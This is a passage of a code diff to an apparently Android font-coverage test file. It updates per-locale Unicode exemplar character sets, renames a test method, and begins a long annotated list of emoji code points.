+                + "{\u0190\u030C}{\u01DD\u0302}{\u01DD\u0304}{\u01DD\u030C}{\u0254\u0302}"
+                + "{\u0254\u0304}{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}]"));
+        EXEMPLAR_MAP.put("nnh", new UnicodeSet("[\u02BC{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+                + "{\u0190\u030C}{\u0244\u0302}{\u0244\u030C}{\u0254\u0302}{\u0254\u030C}"
+                + "{\u025B\u0302}{\u025B\u030C}{\u0289\u0302}{\u0289\u030C}]"));
+        EXEMPLAR_MAP.put("nus", new UnicodeSet("[{A\u0331}{E\u0331}{I\u0331}{O\u0331}{a\u0331}"
+                + "{e\u0331}{i\u0331}{o\u0331}{\u0186\u0331}{\u0190\u0331}{\u0190\u0331\u0308}"
+                + "{\u0254\u0331}{\u025B\u0331}{\u025B\u0331\u0308}]"));
         EXEMPLAR_MAP.put("or", new UnicodeSet("[\u0B01-\u0B03\u0B05-\u0B0B\u0B0F\u0B10"
                 + "\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C\u0B3E-\u0B43\u0B47"
                 + "\u0B48\u0B4B-\u0B4D\u0B5F\u0B71{\u0B15\u0B4D\u0B37}{\u0B21\u0B3C}"
@@ -502,7 +513,8 @@
                 + "\u0644-\u0648\u064A-\u0652\u0654\u066A-\u066C\u0670\u067C\u067E\u0681\u0685"
                 + "\u0686\u0689\u0693\u0696\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06CC\u06CD\u06D0"
                 + "\u06F0-\u06F9]"));
-        EXEMPLAR_MAP.put("qu", new UnicodeSet("[{ch\u02BC}{k\u02BC}{p\u02BC}{q\u02BC}{t\u02BC}]"));
+        EXEMPLAR_MAP.put("qu", new UnicodeSet("[{CH\u02BC}{Ch\u02BC}{K\u02BC}{P\u02BC}{Q\u02BC}"
+                + "{T\u02BC}{ch\u02BC}{k\u02BC}{p\u02BC}{q\u02BC}{t\u02BC}]"));
         EXEMPLAR_MAP.put("si", new UnicodeSet("[\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1"
                 + "\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DF2"
                 + "\u0DF3\u200B-\u200D]"));
@@ -536,7 +548,6 @@
                 + "\u0686\u0689\u0693\u0696\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06C7\u06C9\u06CC"
                 + "\u06CD\u06D0\u06F0-\u06F9]"));
         EXEMPLAR_MAP.put("uz-Latn", new UnicodeSet("[\u02BC{G\u02BB}{O\u02BB}{g\u02BB}{o\u02BB}]"));
-        EXEMPLAR_MAP.put("yav", new UnicodeSet("[{\u0254\u0300}{\u025B\u0300}]"));
         EXEMPLAR_MAP.put("yue", new UnicodeSet("[\u2025\u2027\u2030\u2035\u203B\u203E"
                 + "\u3001-\u3003\u3008-\u3011\u3014\u3015\u301D\u301E\u4E00\u4E01\u4E03"
                 + "\u4E08-\u4E0D\u4E11\u4E14\u4E16\u4E18\u4E19\u4E1E\u4E1F\u4E26\u4E2D\u4E32\u4E38"
@@ -752,7 +763,6 @@
                 + "\uFE30-\uFE44\uFE49-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B"
                 + "\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20"
                 + "\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D]"));
-        EXEMPLAR_MAP.put("yo", new UnicodeSet("[{\u0254\u0300}{\u025B\u0300}]"));
         EXEMPLAR_MAP.put("zgh", new UnicodeSet("[\u2D30\u2D31\u2D33\u2D37\u2D39\u2D3B-\u2D3D"
                 + "\u2D40\u2D43-\u2D45\u2D47\u2D49\u2D4A\u2D4D-\u2D4F\u2D53-\u2D56\u2D59-\u2D5C"
                 + "\u2D5F\u2D61-\u2D63\u2D65{\u2D33\u2D6F}{\u2D3D\u2D6F}]"));
@@ -1206,7 +1216,7 @@
     }
 
     @Test
-    public void testCoverage() {
+    public void testLanguageCoverage() {
         final Paint paint = new Paint();
         final String[] localeNames = Resources.getSystem().getStringArray(
                 Resources.getSystem().getIdentifier("supported_locales", "array", "android"));
@@ -1230,4 +1240,1199 @@
             });
         }
     }
+
+    // All emoji characters in Unicode 10.0/Emoji 5.0
+    private static final int[] ALL_EMOJI = {
+        0x0023, // NUMBER SIGN
+        0x002A, // ASTERISK
+        0x0030, // DIGIT ZERO
+        0x0031, // DIGIT ONE
+        0x0032, // DIGIT TWO
+        0x0033, // DIGIT THREE
+        0x0034, // DIGIT FOUR
+        0x0035, // DIGIT FIVE
+        0x0036, // DIGIT SIX
+        0x0037, // DIGIT SEVEN
+        0x0038, // DIGIT EIGHT
+        0x0039, // DIGIT NINE
+        0x00A9, // COPYRIGHT SIGN
+        0x00AE, // REGISTERED SIGN
+        0x203C, // DOUBLE EXCLAMATION MARK
+        0x2049, // EXCLAMATION QUESTION MARK
+        0x2122, // TRADE MARK SIGN
+        0x2139, // INFORMATION SOURCE
+        0x2194, // LEFT RIGHT ARROW
+        0x2195, // UP DOWN ARROW
+        0x2196, // NORTH WEST ARROW
+        0x2197, // NORTH EAST ARROW
+        0x2198, // SOUTH EAST ARROW
+        0x2199, // SOUTH WEST ARROW
+        0x21A9, // LEFTWARDS ARROW WITH HOOK
+        0x21AA, // RIGHTWARDS ARROW WITH HOOK
+        0x231A, // WATCH
+        0x231B, // HOURGLASS
+        0x2328, // KEYBOARD
+        0x23CF, // EJECT SYMBOL
+        0x23E9, // BLACK RIGHT-POINTING DOUBLE TRIANGLE
+        0x23EA, // BLACK LEFT-POINTING DOUBLE TRIANGLE
+        0x23EB, // BLACK UP-POINTING DOUBLE TRIANGLE
+        0x23EC, // BLACK DOWN-POINTING DOUBLE TRIANGLE
+        0x23ED, // BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+        0x23EE, // BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+        0x23EF, // BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
+        0x23F0, // ALARM CLOCK
+        0x23F1, // STOPWATCH
+        0x23F2, // TIMER CLOCK
+        0x23F3, // HOURGLASS WITH FLOWING SAND
+        0x23F8, // DOUBLE VERTICAL BAR
+        0x23F9, // BLACK SQUARE FOR STOP
+        0x23FA, // BLACK CIRCLE FOR RECORD
+        0x24C2, // CIRCLED LATIN CAPITAL LETTER M
+        0x25AA, // BLACK SMALL SQUARE
+        0x25AB, // WHITE SMALL SQUARE
+        0x25B6, // BLACK RIGHT-POINTING TRIANGLE
+        0x25C0, // BLACK LEFT-POINTING TRIANGLE
+        0x25FB, // WHITE MEDIUM SQUARE
+        0x25FC, // BLACK MEDIUM SQUARE
+        0x25FD, // WHITE MEDIUM SMALL SQUARE
+        0x25FE, // BLACK MEDIUM SMALL SQUARE
+        0x2600, // BLACK SUN WITH RAYS
+        0x2601, // CLOUD
+        0x2602, // UMBRELLA
+        0x2603, // SNOWMAN
+        0x2604, // COMET
+        0x260E, // BLACK TELEPHONE
+        0x2611, // BALLOT BOX WITH CHECK
+        0x2614, // UMBRELLA WITH RAIN DROPS
+        0x2615, // HOT BEVERAGE
+        0x2618, // SHAMROCK
+        0x261D, // WHITE UP POINTING INDEX
+        0x2620, // SKULL AND CROSSBONES
+        0x2622, // RADIOACTIVE SIGN
+        0x2623, // BIOHAZARD SIGN
+        0x2626, // ORTHODOX CROSS
+        0x262A, // STAR AND CRESCENT
+        0x262E, // PEACE SYMBOL
+        0x262F, // YIN YANG
+        0x2638, // WHEEL OF DHARMA
+        0x2639, // WHITE FROWNING FACE
+        0x263A, // WHITE SMILING FACE
+        0x2640, // FEMALE SIGN
+        0x2642, // MALE SIGN
+        0x2648, // ARIES
+        0x2649, // TAURUS
+        0x264A, // GEMINI
+        0x264B, // CANCER
+        0x264C, // LEO
+        0x264D, // VIRGO
+        0x264E, // LIBRA
+        0x264F, // SCORPIUS
+        0x2650, // SAGITTARIUS
+        0x2651, // CAPRICORN
+        0x2652, // AQUARIUS
+        0x2653, // PISCES
+        0x2660, // BLACK SPADE SUIT
+        0x2663, // BLACK CLUB SUIT
+        0x2665, // BLACK HEART SUIT
+        0x2666, // BLACK DIAMOND SUIT
+        0x2668, // HOT SPRINGS
+        0x267B, // BLACK UNIVERSAL RECYCLING SYMBOL
+        0x267F, // WHEELCHAIR SYMBOL
+        0x2692, // HAMMER AND PICK
+        0x2693, // ANCHOR
+        0x2694, // CROSSED SWORDS
+        0x2695, // STAFF OF AESCULAPIUS
+        0x2696, // SCALES
+        0x2697, // ALEMBIC
+        0x2699, // GEAR
+        0x269B, // ATOM SYMBOL
+        0x269C, // FLEUR-DE-LIS
+        0x26A0, // WARNING SIGN
+        0x26A1, // HIGH VOLTAGE SIGN
+        0x26AA, // MEDIUM WHITE CIRCLE
+        0x26AB, // MEDIUM BLACK CIRCLE
+        0x26B0, // COFFIN
+        0x26B1, // FUNERAL URN
+        0x26BD, // SOCCER BALL
+        0x26BE, // BASEBALL
+        0x26C4, // SNOWMAN WITHOUT SNOW
+        0x26C5, // SUN BEHIND CLOUD
+        0x26C8, // THUNDER CLOUD AND RAIN
+        0x26CE, // OPHIUCHUS
+        0x26CF, // PICK
+        0x26D1, // HELMET WITH WHITE CROSS
+        0x26D3, // CHAINS
+        0x26D4, // NO ENTRY
+        0x26E9, // SHINTO SHRINE
+        0x26EA, // CHURCH
+        0x26F0, // MOUNTAIN
+        0x26F1, // UMBRELLA ON GROUND
+        0x26F2, // FOUNTAIN
+        0x26F3, // FLAG IN HOLE
+        0x26F4, // FERRY
+        0x26F5, // SAILBOAT
+        0x26F7, // SKIER
+        0x26F8, // ICE SKATE
+        0x26F9, // PERSON WITH BALL
+        0x26FA, // TENT
+        0x26FD, // FUEL PUMP
+        0x2702, // BLACK SCISSORS
+        0x2705, // WHITE HEAVY CHECK MARK
+        0x2708, // AIRPLANE
+        0x2709, // ENVELOPE
+        0x270A, // RAISED FIST
+        0x270B, // RAISED HAND
+        0x270C, // VICTORY HAND
+        0x270D, // WRITING HAND
+        0x270F, // PENCIL
+        0x2712, // BLACK NIB
+        0x2714, // HEAVY CHECK MARK
+        0x2716, // HEAVY MULTIPLICATION X
+        0x271D, // LATIN CROSS
+        0x2721, // STAR OF DAVID
+        0x2728, // SPARKLES
+        0x2733, // EIGHT SPOKED ASTERISK
+        0x2734, // EIGHT POINTED BLACK STAR
+        0x2744, // SNOWFLAKE
+        0x2747, // SPARKLE
+        0x274C, // CROSS MARK
+        0x274E, // NEGATIVE SQUARED CROSS MARK
+        0x2753, // BLACK QUESTION MARK ORNAMENT
+        0x2754, // WHITE QUESTION MARK ORNAMENT
+        0x2755, // WHITE EXCLAMATION MARK ORNAMENT
+        0x2757, // HEAVY EXCLAMATION MARK SYMBOL
+        0x2763, // HEAVY HEART EXCLAMATION MARK ORNAMENT
+        0x2764, // HEAVY BLACK HEART
+        0x2795, // HEAVY PLUS SIGN
+        0x2796, // HEAVY MINUS SIGN
+        0x2797, // HEAVY DIVISION SIGN
+        0x27A1, // BLACK RIGHTWARDS ARROW
+        0x27B0, // CURLY LOOP
+        0x27BF, // DOUBLE CURLY LOOP
+        0x2934, // ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
+        0x2935, // ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
+        0x2B05, // LEFTWARDS BLACK ARROW
+        0x2B06, // UPWARDS BLACK ARROW
+        0x2B07, // DOWNWARDS BLACK ARROW
+        0x2B1B, // BLACK LARGE SQUARE
+        0x2B1C, // WHITE LARGE SQUARE
+        0x2B50, // WHITE MEDIUM STAR
+        0x2B55, // HEAVY LARGE CIRCLE
+        0x3030, // WAVY DASH
+        0x303D, // PART ALTERNATION MARK
+        0x3297, // CIRCLED IDEOGRAPH CONGRATULATION
+        0x3299, // CIRCLED IDEOGRAPH SECRET
+        0x1F004, // MAHJONG TILE RED DRAGON
+        0x1F0CF, // PLAYING CARD BLACK JOKER
+        0x1F170, // NEGATIVE SQUARED LATIN CAPITAL LETTER A
+        0x1F171, // NEGATIVE SQUARED LATIN CAPITAL LETTER B
+        0x1F17E, // NEGATIVE SQUARED LATIN CAPITAL LETTER O
+        0x1F17F, // NEGATIVE SQUARED LATIN CAPITAL LETTER P
+        0x1F18E, // NEGATIVE SQUARED AB
+        0x1F191, // SQUARED CL
+        0x1F192, // SQUARED COOL
+        0x1F193, // SQUARED FREE
+        0x1F194, // SQUARED ID
+        0x1F195, // SQUARED NEW
+        0x1F196, // SQUARED NG
+        0x1F197, // SQUARED OK
+        0x1F198, // SQUARED SOS
+        0x1F199, // SQUARED UP WITH EXCLAMATION MARK
+        0x1F19A, // SQUARED VS
+        0x1F1E6, // REGIONAL INDICATOR SYMBOL LETTER A
+        0x1F1E7, // REGIONAL INDICATOR SYMBOL LETTER B
+        0x1F1E8, // REGIONAL INDICATOR SYMBOL LETTER C
+        0x1F1E9, // REGIONAL INDICATOR SYMBOL LETTER D
+        0x1F1EA, // REGIONAL INDICATOR SYMBOL LETTER E
+        0x1F1EB, // REGIONAL INDICATOR SYMBOL LETTER F
+        0x1F1EC, // REGIONAL INDICATOR SYMBOL LETTER G
+        0x1F1ED, // REGIONAL INDICATOR SYMBOL LETTER H
+        0x1F1EE, // REGIONAL INDICATOR SYMBOL LETTER I
+        0x1F1EF, // REGIONAL INDICATOR SYMBOL LETTER J
+        0x1F1F0, // REGIONAL INDICATOR SYMBOL LETTER K
+        0x1F1F1, // REGIONAL INDICATOR SYMBOL LETTER L
+        0x1F1F2, // REGIONAL INDICATOR SYMBOL LETTER M
+        0x1F1F3, // REGIONAL INDICATOR SYMBOL LETTER N
+        0x1F1F4, // REGIONAL INDICATOR SYMBOL LETTER O
+        0x1F1F5, // REGIONAL INDICATOR SYMBOL LETTER P
+        0x1F1F6, // REGIONAL INDICATOR SYMBOL LETTER Q
+        0x1F1F7, // REGIONAL INDICATOR SYMBOL LETTER R
+        0x1F1F8, // REGIONAL INDICATOR SYMBOL LETTER S
+        0x1F1F9, // REGIONAL INDICATOR SYMBOL LETTER T
+        0x1F1FA, // REGIONAL INDICATOR SYMBOL LETTER U
+        0x1F1FB, // REGIONAL INDICATOR SYMBOL LETTER V
+        0x1F1FC, // REGIONAL INDICATOR SYMBOL LETTER W
+        0x1F1FD, // REGIONAL INDICATOR SYMBOL LETTER X
+        0x1F1FE, // REGIONAL INDICATOR SYMBOL LETTER Y
+        0x1F1FF, // REGIONAL INDICATOR SYMBOL LETTER Z
+        0x1F201, // SQUARED KATAKANA KOKO
+        0x1F202, // SQUARED KATAKANA SA
+        0x1F21A, // SQUARED CJK UNIFIED IDEOGRAPH-7121
+        0x1F22F, // SQUARED CJK UNIFIED IDEOGRAPH-6307
+        0x1F232, // SQUARED CJK UNIFIED IDEOGRAPH-7981
+        0x1F233, // SQUARED CJK UNIFIED IDEOGRAPH-7A7A
+        0x1F234, // SQUARED CJK UNIFIED IDEOGRAPH-5408
+        0x1F235, // SQUARED CJK UNIFIED IDEOGRAPH-6E80
+        0x1F236, // SQUARED CJK UNIFIED IDEOGRAPH-6709
+        0x1F237, // SQUARED CJK UNIFIED IDEOGRAPH-6708
+        0x1F238, // SQUARED CJK UNIFIED IDEOGRAPH-7533
+        0x1F239, // SQUARED CJK UNIFIED IDEOGRAPH-5272
+        0x1F23A, // SQUARED CJK UNIFIED IDEOGRAPH-55B6
+        0x1F250, // CIRCLED IDEOGRAPH ADVANTAGE
+        0x1F251, // CIRCLED IDEOGRAPH ACCEPT
+        0x1F300, // CYCLONE
+        0x1F301, // FOGGY
+        0x1F302, // CLOSED UMBRELLA
+        0x1F303, // NIGHT WITH STARS
+        0x1F304, // SUNRISE OVER MOUNTAINS
+        0x1F305, // SUNRISE
+        0x1F306, // CITYSCAPE AT DUSK
+        0x1F307, // SUNSET OVER BUILDINGS
+        0x1F308, // RAINBOW
+        0x1F309, // BRIDGE AT NIGHT
+        0x1F30A, // WATER WAVE
+        0x1F30B, // VOLCANO
+        0x1F30C, // MILKY WAY
+        0x1F30D, // EARTH GLOBE EUROPE-AFRICA
+        0x1F30E, // EARTH GLOBE AMERICAS
+        0x1F30F, // EARTH GLOBE ASIA-AUSTRALIA
+        0x1F310, // GLOBE WITH MERIDIANS
+        0x1F311, // NEW MOON SYMBOL
+        0x1F312, // WAXING CRESCENT MOON SYMBOL
+        0x1F313, // FIRST QUARTER MOON SYMBOL
+        0x1F314, // WAXING GIBBOUS MOON SYMBOL
+        0x1F315, // FULL MOON SYMBOL
+        0x1F316, // WANING GIBBOUS MOON SYMBOL
+        0x1F317, // LAST QUARTER MOON SYMBOL
+        0x1F318, // WANING CRESCENT MOON SYMBOL
+        0x1F319, // CRESCENT MOON
+        0x1F31A, // NEW MOON WITH FACE
+        0x1F31B, // FIRST QUARTER MOON WITH FACE
+        0x1F31C, // LAST QUARTER MOON WITH FACE
+        0x1F31D, // FULL MOON WITH FACE
+        0x1F31E, // SUN WITH FACE
+        0x1F31F, // GLOWING STAR
+        0x1F320, // SHOOTING STAR
+        0x1F321, // THERMOMETER
+        0x1F324, // WHITE SUN WITH SMALL CLOUD
+        0x1F325, // WHITE SUN BEHIND CLOUD
+        0x1F326, // WHITE SUN BEHIND CLOUD WITH RAIN
+        0x1F327, // CLOUD WITH RAIN
+        0x1F328, // CLOUD WITH SNOW
+        0x1F329, // CLOUD WITH LIGHTNING
+        0x1F32A, // CLOUD WITH TORNADO
+        0x1F32B, // FOG
+        0x1F32C, // WIND BLOWING FACE
+        0x1F32D, // HOT DOG
+        0x1F32E, // TACO
+        0x1F32F, // BURRITO
+        0x1F330, // CHESTNUT
+        0x1F331, // SEEDLING
+        0x1F332, // EVERGREEN TREE
+        0x1F333, // DECIDUOUS TREE
+        0x1F334, // PALM TREE
+        0x1F335, // CACTUS
+        0x1F336, // HOT PEPPER
+        0x1F337, // TULIP
+        0x1F338, // CHERRY BLOSSOM
+        0x1F339, // ROSE
+        0x1F33A, // HIBISCUS
+        0x1F33B, // SUNFLOWER
+        0x1F33C, // BLOSSOM
+        0x1F33D, // EAR OF MAIZE
+        0x1F33E, // EAR OF RICE
+        0x1F33F, // HERB
+        0x1F340, // FOUR LEAF CLOVER
+        0x1F341, // MAPLE LEAF
+        0x1F342, // FALLEN LEAF
+        0x1F343, // LEAF FLUTTERING IN WIND
+        0x1F344, // MUSHROOM
+        0x1F345, // TOMATO
+        0x1F346, // AUBERGINE
+        0x1F347, // GRAPES
+        0x1F348, // MELON
+        0x1F349, // WATERMELON
+        0x1F34A, // TANGERINE
+        0x1F34B, // LEMON
+        0x1F34C, // BANANA
+        0x1F34D, // PINEAPPLE
+        0x1F34E, // RED APPLE
+        0x1F34F, // GREEN APPLE
+        0x1F350, // PEAR
+        0x1F351, // PEACH
+        0x1F352, // CHERRIES
+        0x1F353, // STRAWBERRY
+        0x1F354, // HAMBURGER
+        0x1F355, // SLICE OF PIZZA
+        0x1F356, // MEAT ON BONE
+        0x1F357, // POULTRY LEG
+        0x1F358, // RICE CRACKER
+        0x1F359, // RICE BALL
+        0x1F35A, // COOKED RICE
+        0x1F35B, // CURRY AND RICE
+        0x1F35C, // STEAMING BOWL
+        0x1F35D, // SPAGHETTI
+        0x1F35E, // BREAD
+        0x1F35F, // FRENCH FRIES
+        0x1F360, // ROASTED SWEET POTATO
+        0x1F361, // DANGO
+        0x1F362, // ODEN
+        0x1F363, // SUSHI
+        0x1F364, // FRIED SHRIMP
+        0x1F365, // FISH CAKE WITH SWIRL DESIGN
+        0x1F366, // SOFT ICE CREAM
+        0x1F367, // SHAVED ICE
+        0x1F368, // ICE CREAM
+        0x1F369, // DOUGHNUT
+        0x1F36A, // COOKIE
+        0x1F36B, // CHOCOLATE BAR
+        0x1F36C, // CANDY
+        0x1F36D, // LOLLIPOP
+        0x1F36E, // CUSTARD
+        0x1F36F, // HONEY POT
+        0x1F370, // SHORTCAKE
+        0x1F371, // BENTO BOX
+        0x1F372, // POT OF FOOD
+        0x1F373, // COOKING
+        0x1F374, // FORK AND KNIFE
+        0x1F375, // TEACUP WITHOUT HANDLE
+        0x1F376, // SAKE BOTTLE AND CUP
+        0x1F377, // WINE GLASS
+        0x1F378, // COCKTAIL GLASS
+        0x1F379, // TROPICAL DRINK
+        0x1F37A, // BEER MUG
+        0x1F37B, // CLINKING BEER MUGS
+        0x1F37C, // BABY BOTTLE
+        0x1F37D, // FORK AND KNIFE WITH PLATE
+        0x1F37E, // BOTTLE WITH POPPING CORK
+        0x1F37F, // POPCORN
+        0x1F380, // RIBBON
+        0x1F381, // WRAPPED PRESENT
+        0x1F382, // BIRTHDAY CAKE
+        0x1F383, // JACK-O-LANTERN
+        0x1F384, // CHRISTMAS TREE
+        0x1F385, // FATHER CHRISTMAS
+        0x1F386, // FIREWORKS
+        0x1F387, // FIREWORK SPARKLER
+        0x1F388, // BALLOON
+        0x1F389, // PARTY POPPER
+        0x1F38A, // CONFETTI BALL
+        0x1F38B, // TANABATA TREE
+        0x1F38C, // CROSSED FLAGS
+        0x1F38D, // PINE DECORATION
+        0x1F38E, // JAPANESE DOLLS
+        0x1F38F, // CARP STREAMER
+        0x1F390, // WIND CHIME
+        0x1F391, // MOON VIEWING CEREMONY
+        0x1F392, // SCHOOL SATCHEL
+        0x1F393, // GRADUATION CAP
+        0x1F396, // MILITARY MEDAL
+        0x1F397, // REMINDER RIBBON
+        0x1F399, // STUDIO MICROPHONE
+        0x1F39A, // LEVEL SLIDER
+        0x1F39B, // CONTROL KNOBS
+        0x1F39E, // FILM FRAMES
+        0x1F39F, // ADMISSION TICKETS
+        0x1F3A0, // CAROUSEL HORSE
+        0x1F3A1, // FERRIS WHEEL
+        0x1F3A2, // ROLLER COASTER
+        0x1F3A3, // FISHING POLE AND FISH
+        0x1F3A4, // MICROPHONE
+        0x1F3A5, // MOVIE CAMERA
+        0x1F3A6, // CINEMA
+        0x1F3A7, // HEADPHONE
+        0x1F3A8, // ARTIST PALETTE
+        0x1F3A9, // TOP HAT
+        0x1F3AA, // CIRCUS TENT
+        0x1F3AB, // TICKET
+        0x1F3AC, // CLAPPER BOARD
+        0x1F3AD, // PERFORMING ARTS
+        0x1F3AE, // VIDEO GAME
+        0x1F3AF, // DIRECT HIT
+        0x1F3B0, // SLOT MACHINE
+        0x1F3B1, // BILLIARDS
+        0x1F3B2, // GAME DIE
+        0x1F3B3, // BOWLING
+        0x1F3B4, // FLOWER PLAYING CARDS
+        0x1F3B5, // MUSICAL NOTE
+        0x1F3B6, // MULTIPLE MUSICAL NOTES
+        0x1F3B7, // SAXOPHONE
+        0x1F3B8, // GUITAR
+        0x1F3B9, // MUSICAL KEYBOARD
+        0x1F3BA, // TRUMPET
+        0x1F3BB, // VIOLIN
+        0x1F3BC, // MUSICAL SCORE
+        0x1F3BD, // RUNNING SHIRT WITH SASH
+        0x1F3BE, // TENNIS RACQUET AND BALL
+        0x1F3BF, // SKI AND SKI BOOT
+        0x1F3C0, // BASKETBALL AND HOOP
+        0x1F3C1, // CHEQUERED FLAG
+        0x1F3C2, // SNOWBOARDER
+        0x1F3C3, // RUNNER
+        0x1F3C4, // SURFER
+        0x1F3C5, // SPORTS MEDAL
+        0x1F3C6, // TROPHY
+        0x1F3C7, // HORSE RACING
+        0x1F3C8, // AMERICAN FOOTBALL
+        0x1F3C9, // RUGBY FOOTBALL
+        0x1F3CA, // SWIMMER
+        0x1F3CB, // WEIGHT LIFTER
+        0x1F3CC, // GOLFER
+        0x1F3CD, // RACING MOTORCYCLE
+        0x1F3CE, // RACING CAR
+        0x1F3CF, // CRICKET BAT AND BALL
+        0x1F3D0, // VOLLEYBALL
+        0x1F3D1, // FIELD HOCKEY STICK AND BALL
+        0x1F3D2, // ICE HOCKEY STICK AND PUCK
+        0x1F3D3, // TABLE TENNIS PADDLE AND BALL
+        0x1F3D4, // SNOW CAPPED MOUNTAIN
+        0x1F3D5, // CAMPING
+        0x1F3D6, // BEACH WITH UMBRELLA
+        0x1F3D7, // BUILDING CONSTRUCTION
+        0x1F3D8, // HOUSE BUILDINGS
+        0x1F3D9, // CITYSCAPE
+        0x1F3DA, // DERELICT HOUSE BUILDING
+        0x1F3DB, // CLASSICAL BUILDING
+        0x1F3DC, // DESERT
+        0x1F3DD, // DESERT ISLAND
+        0x1F3DE, // NATIONAL PARK
+        0x1F3DF, // STADIUM
+        0x1F3E0, // HOUSE BUILDING
+        0x1F3E1, // HOUSE WITH GARDEN
+        0x1F3E2, // OFFICE BUILDING
+        0x1F3E3, // JAPANESE POST OFFICE
+        0x1F3E4, // EUROPEAN POST OFFICE
+        0x1F3E5, // HOSPITAL
+        0x1F3E6, // BANK
+        0x1F3E7, // AUTOMATED TELLER MACHINE
+        0x1F3E8, // HOTEL
+        0x1F3E9, // LOVE HOTEL
+        0x1F3EA, // CONVENIENCE STORE
+        0x1F3EB, // SCHOOL
+        0x1F3EC, // DEPARTMENT STORE
+        0x1F3ED, // FACTORY
+        0x1F3EE, // IZAKAYA LANTERN
+        0x1F3EF, // JAPANESE CASTLE
+        0x1F3F0, // EUROPEAN CASTLE
+        0x1F3F3, // WAVING WHITE FLAG
+        0x1F3F4, // WAVING BLACK FLAG
+        0x1F3F5, // ROSETTE
+        0x1F3F7, // LABEL
+        0x1F3F8, // BADMINTON RACQUET AND SHUTTLECOCK
+        0x1F3F9, // BOW AND ARROW
+        0x1F3FA, // AMPHORA
+        0x1F3FB, // EMOJI MODIFIER FITZPATRICK TYPE-1-2
+        0x1F3FC, // EMOJI MODIFIER FITZPATRICK TYPE-3
+        0x1F3FD, // EMOJI MODIFIER FITZPATRICK TYPE-4
+        0x1F3FE, // EMOJI MODIFIER FITZPATRICK TYPE-5
+        0x1F3FF, // EMOJI MODIFIER FITZPATRICK TYPE-6
+        0x1F400, // RAT
+        0x1F401, // MOUSE
+        0x1F402, // OX
+        0x1F403, // WATER BUFFALO
+        0x1F404, // COW
+        0x1F405, // TIGER
+        0x1F406, // LEOPARD
+        0x1F407, // RABBIT
+        0x1F408, // CAT
+        0x1F409, // DRAGON
+        0x1F40A, // CROCODILE
+        0x1F40B, // WHALE
+        0x1F40C, // SNAIL
+        0x1F40D, // SNAKE
+        0x1F40E, // HORSE
+        0x1F40F, // RAM
+        0x1F410, // GOAT
+        0x1F411, // SHEEP
+        0x1F412, // MONKEY
+        0x1F413, // ROOSTER
+        0x1F414, // CHICKEN
+        0x1F415, // DOG
+        0x1F416, // PIG
+        0x1F417, // BOAR
+        0x1F418, // ELEPHANT
+        0x1F419, // OCTOPUS
+        0x1F41A, // SPIRAL SHELL
+        0x1F41B, // BUG
+        0x1F41C, // ANT
+        0x1F41D, // HONEYBEE
+        0x1F41E, // LADY BEETLE
+        0x1F41F, // FISH
+        0x1F420, // TROPICAL FISH
+        0x1F421, // BLOWFISH
+        0x1F422, // TURTLE
+        0x1F423, // HATCHING CHICK
+        0x1F424, // BABY CHICK
+        0x1F425, // FRONT-FACING BABY CHICK
+        0x1F426, // BIRD
+        0x1F427, // PENGUIN
+        0x1F428, // KOALA
+        0x1F429, // POODLE
+        0x1F42A, // DROMEDARY CAMEL
+        0x1F42B, // BACTRIAN CAMEL
+        0x1F42C, // DOLPHIN
+        0x1F42D, // MOUSE FACE
+        0x1F42E, // COW FACE
+        0x1F42F, // TIGER FACE
+        0x1F430, // RABBIT FACE
+        0x1F431, // CAT FACE
+        0x1F432, // DRAGON FACE
+        0x1F433, // SPOUTING WHALE
+        0x1F434, // HORSE FACE
+        0x1F435, // MONKEY FACE
+        0x1F436, // DOG FACE
+        0x1F437, // PIG FACE
+        0x1F438, // FROG FACE
+        0x1F439, // HAMSTER FACE
+        0x1F43A, // WOLF FACE
+        0x1F43B, // BEAR FACE
+        0x1F43C, // PANDA FACE
+        0x1F43D, // PIG NOSE
+        0x1F43E, // PAW PRINTS
+        0x1F43F, // CHIPMUNK
+        0x1F440, // EYES
+        0x1F441, // EYE
+        0x1F442, // EAR
+        0x1F443, // NOSE
+        0x1F444, // MOUTH
+        0x1F445, // TONGUE
+        0x1F446, // WHITE UP POINTING BACKHAND INDEX
+        0x1F447, // WHITE DOWN POINTING BACKHAND INDEX
+        0x1F448, // WHITE LEFT POINTING BACKHAND INDEX
+        0x1F449, // WHITE RIGHT POINTING BACKHAND INDEX
+        0x1F44A, // FISTED HAND SIGN
+        0x1F44B, // WAVING HAND SIGN
+        0x1F44C, // OK HAND SIGN
+        0x1F44D, // THUMBS UP SIGN
+        0x1F44E, // THUMBS DOWN SIGN
+        0x1F44F, // CLAPPING HANDS SIGN
+        0x1F450, // OPEN HANDS SIGN
+        0x1F451, // CROWN
+        0x1F452, // WOMANS HAT
+        0x1F453, // EYEGLASSES
+        0x1F454, // NECKTIE
+        0x1F455, // T-SHIRT
+        0x1F456, // JEANS
+        0x1F457, // DRESS
+        0x1F458, // KIMONO
+        0x1F459, // BIKINI
+        0x1F45A, // WOMANS CLOTHES
+        0x1F45B, // PURSE
+        0x1F45C, // HANDBAG
+        0x1F45D, // POUCH
+        0x1F45E, // MANS SHOE
+        0x1F45F, // ATHLETIC SHOE
+        0x1F460, // HIGH-HEELED SHOE
+        0x1F461, // WOMANS SANDAL
+        0x1F462, // WOMANS BOOTS
+        0x1F463, // FOOTPRINTS
+        0x1F464, // BUST IN SILHOUETTE
+        0x1F465, // BUSTS IN SILHOUETTE
+        0x1F466, // BOY
+        0x1F467, // GIRL
+        0x1F468, // MAN
+        0x1F469, // WOMAN
+        0x1F46A, // FAMILY
